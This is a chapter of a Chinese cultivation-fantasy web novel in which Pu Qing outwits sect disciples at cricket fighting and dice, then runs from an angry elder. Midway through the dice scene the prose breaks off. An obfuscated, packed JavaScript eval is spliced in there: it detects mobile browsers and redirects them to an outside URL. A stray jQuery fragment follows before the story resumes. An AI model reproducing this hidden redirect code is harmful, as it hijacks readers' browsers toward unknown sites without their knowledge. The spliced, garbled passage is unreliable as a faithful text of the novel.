严曲生好整以暇,等着她回应。
想象中的拘谨抵触并没有到来。
他见蒲晴将项链藏进衣领,应了一声,收好乾坤袋就走,裙角的残影掠过门关,没有跟他打一声招呼。
合上大门前,谢非澈一袭红衣,手里拿着一只纸扎蛐蛐。
蛐蛐有什么好玩儿的?
他轻轻敲着桌子,酒水丝滑地滚入喉咙。
余音回弹,占满整个屋子。
等最后一滴饮尽,严曲生伸手引动不识天,挑开了门。
“进来。”
“是。”
严曲生撑着头,斜眼看去,黑衣女子跨过门槛,马尾一甩,卸刀行礼。
“见过少主。”
“坐。”
“这么着急见我,卓耳乐那边收拾完了。”
风灵跨坐木凳上:“搜出来的东西,我全打包回明月宗了,不过少主只拿了乾坤袋走,不留点什么吗?”
严曲生不说话了。
他一剑了结卓耳乐等人,风灵马上窜了出来把他身上的东西全搜罗了干净,等她收拾好,兰舟上只剩一个空荡荡的口袋。
他倒是想拿点。
风灵继续道:“莲婴在王家庄触怒少主,我还以为少主不会见我们了,没想到在雷门遇到,少主,你果然还是记着师尊的。”
严曲生站起身,外边已近暮时。
“你以为我留在她身边,是为了取回化神珠。”
“不然呢?”风灵真心实意地说。
严曲生避开这个话题,突兀发问:“你说,一个人缘何突然改变主意。”
明明在王家庄的时候,蒲晴一心要离开那里,连可能遇到的麻烦都不顾,后来也时刻惦记要走,可为什么突然说不感兴趣了呢。
风灵握住刀,神情严肃:“意志力不够强。”
“还有呢?”
风灵想了下:“可能他不想解决,不然就是有其他办法了,就像莲婴没有完成任务,本来要受体罚,但是师尊改主意了。”
“让他来潜龙渊找你。”
被少宗主暴打了一顿,有了更深刻的肌体记忆。
当然,风灵没有他那么愚蠢。
但她还是意有所指:“不过,不管这个人再转变,他始终还是他,只要有过这个念头,不管什么手段,多么曲折,最后肯定都是要达成的。”
她希望这个男人听懂她的暗示。
严曲生点点头。
他猜得没错,蒲晴果然别有目的。
蒲晴蹲在雷门平素上课专用的抱书斋,对着旁边疑惑道:“你师弟带我来,就是看这个呀?”
唐爽愣了一下,递来一个崭新的纸蛐蛐。
“师叔平时不让我们玩真的,说有赌的性质,我们就用傀儡术操控,施了法他们便会自主移动,不会有我们的影响,这个挺好玩的,蒲姑娘,你要不要试试?”
三个弟子一个外人在讲经堂的书桌边围了一圈,桌上摆着一只平口砚台,里面站着两只纸折的假将军。
蒲晴往周围到处看了眼,小心翼翼问:“你们在这里玩,虎口拔牙,被发现了牵连我如何是好?”
这里是半封闭的课堂,四周都用竹席卷了一半,每席下边坠着一个红色梅花结。
这个杉木书案低矮宽大,没有现世那么贴合人体结构,只能跪坐,因此不太舒适,她还好久没有跪过了。
蒲晴揉揉膝盖,听到唐爽说:“不会,我们每上课四日便休息三日,现在是最后一天休,教习无事不会过来的。”
她对面的男子说:“蒲姑娘,你就放宽心,有师兄在,不会有事的!”
男子发表完,见她望来,脸色一红,回过神又朝右边挤眉弄眼。
蒲晴瞧过去,见这个谢非澈神色掩藏再好,听见此言,终究闪过一缕倨傲。
突兀地热情,分明居心不良。
“有你们担保,我就放心多了。”
蒲晴说话,从袖口掏出几只真蛐蛐,单手推开那几只假纸扎,放了上去。
“......”
“......”
谢非澈不禁问:“我跟你一起来,你什么时候抓的?”
蒲晴反驳:“你别管。”
手指轻点。
“我压这个。”
她点了面前那只躯干最小,但明显好斗的。
见唐爽本来要说些什么,被他右边的弟子止住,唐爽于是就势选了一个:“那我就这个吧。”
“雷敖师弟,你呢?”
雷敖嘻嘻一笑,选了唐爽那边的:“这只就行,我不挑。”
那么余下最大,声音最洪亮的那只,自然就归属谢非澈所有。
蒲晴细细盘算起来,大概分析了局势。
唐爽藏拙,雷敖装货,还对唐爽隐隐有敌意,谢非澈嘛,众星捧月,和表面上表现出来的一模一样,藏不住的嚣张。
不过她可不会让着他。
战争一触即发。
蒲将军一出马便吃了几个肘击,弄得鼻青脸肿。
反观谢家军以压倒之势创飞了雷大装,又打击了唐小拙。
唐小拙的双臂和双腿严重长短不一,但是志气不短。
它迅速地翻身,还击谢家军。
蒲将军隐藏着身形,来回穿梭,先咬断了雷大装,又偷袭了唐小拙。
等谢家军注意到它的时候,唐小拙居然为保护它,断了一臂。
就在此时,蒲将军直接绕后,弄死了谢家军。
剩下奄奄一息的唐小拙,蒲将军不屑一顾,直接宣告胜利。
蒲晴起身,趁其他三人沉思的空袭,往后边取了个竹筒接水。
扶着后边的藤架,道:“各位,赌钱吗?”
言下之意都明白了。
雷敖见谢非澈咬着牙,从兜里掏出灵石扣在桌上。
他也只得跟随。
唐爽参考着大家的份额,最后一个放上桌面。
他微微一笑:“蒲姑娘眼光果然不错。”
蒲晴哈哈大笑,在谢非澈面色不虞的当口,更是火上浇油了一把。
“没意思,太轻松就赢了,我走了啊。”
她没有客气,一个包揽收走全部灵石,揣在新得来的储物袋,往门外去。
“慢着,”谢非澈喊住她,唇齿间,颇具不甘,“敢不敢再来一局,不过,不赌这个。”
她想起严曲生的话。
蒲晴笑嘻嘻地说:“还没有我不敢的事。”
“好,我们摇骰子,我让你,五局三胜,输了的人自愿接受任何惩罚。”
“好!”蒲晴爽快道,“来就来。”
谢非澈立刻从桌下掏出一个机关盒,推开桌面,摆上两个圆筒,下边各罗列着三个骰子。
雷敖拉着唐爽退出了赌桌。
唐爽微微屏气,担忧地看着蒲晴。
“咱们谁都不许用灵力。”
“没问题。”
如此两局,难分胜负,第三局时,蒲晴露了下风,还要再战
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468673|201357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
终局的时候,外边熙熙攘攘走动过来。
一阵劲风猛地朝唐爽大腿打去。
唐爽闷闷地叫唤了一声,随后捂住口鼻,青白交加地看着门外。
“谁在那儿!”
是三长老的声音!
雷同眼里可不揉沙子,被他发现估计要罚得很重,去后山关押的赌徒也不是没有。
谢非澈快速收起桌面,敛衣起身。
手上多了道柔软。
他抬眼,蒲晴冲他眨了下眼:“跑!”
谢非澈被拉着出了教室,在雷同转弯时打了个照面,身后两个也跟着跑了出来。
雷同大喊着要把他们捉拿归案。
他们一路未停,一直跑到食堂边的小路上。
蒲晴这才停下。
她扶着膝盖大口喘气,累了又蹲下来,望着同样气喘吁吁的谢非澈。
“刚刚算我输了,说吧,惩罚是什么?”
谢非澈状似宽慰地微笑着,嘴上不吭气。
心里有些不屑,在抱书斋设赌局这么多年,果真没有一个人在他手里赢下来。
还以为她多厉害,险些高看一眼。
手下败将。
让他想想。
是像往常一样,脱了外袍在山上跑一圈。
抑或是自誓为畜,去灵兽园的圈笼待一天。
还要用留影石全部记录下来。
他转头,随便想了一个丢人的,准备让她完成。
迎面便对上一双亮晶晶的眼睛。
没有一丝杂糅,还沉浸在逃跑成功的欣喜。
谢非澈霎时间停了呼吸。
她粉颊上的绒毛清晰可见,像一颗甜美的蜜桃。
蓝衣上的鹅黄袖带扎起几道结,整个人灵动无比,天真烂漫而不自知。
刚刚赌桌上还豪气冲天的人,此刻只对着他展露了私下的一面。
他一下扭了过去:“想好了再告诉你。”
面前停了两双云靴。
“非澈,蒲小友,你们在这儿做什么呢?”
蒲晴往后望,雷敖和唐爽早已跑不见了踪影,只剩她和谢非澈两个人,此时手还没撒开。
她赶紧从谢非澈手心里面撤出了手。
谢非澈掌心一空,蒲晴的指尖勾到皮肤的刹那,他像被羽毛挠了一下。
轻飘飘的感觉。
他曾有过这种感觉,只有一天,很短暂。
可他清晰地明白,这代表什么。
他站起来说:“大长老,二长老,弟子带蒲姑娘去抱书斋逛了一圈,她很喜欢这儿的氛围,说要常来。”
“那蒲小友尽管玩,除了朝晖堂,都可以让非澈带你去逛逛,第二峰的红枫叶林就不错。”雷谭赞同道。
谢非澈有些难以启齿:“只是我带蒲姑娘过去没有事先通传教习,被三长老看到了,弟子怕他生气。”
雷若停道:“师弟哪有这么小气,小事,不必担心。”
蒲晴在旁边听着,悠悠地想,这位大长老估计跟她是一个路数。
她说谢无尘说师弟善良是假,大长老说那火药桶不小气就是杜撰。
“我们请示掌门,已经给无尘服下了妖蛟内丹,这几天他调理一下,就能醒来。”
“还要多谢蒲小友仗义相助,我们备下了薄宴,正好遇到了,那便一同过去吧,我给你引荐一下天下明月宗的人。”
谢非澈点点头:“风护法可是大前辈,刀修中的佼佼者,若得她指点一二,必有精进。”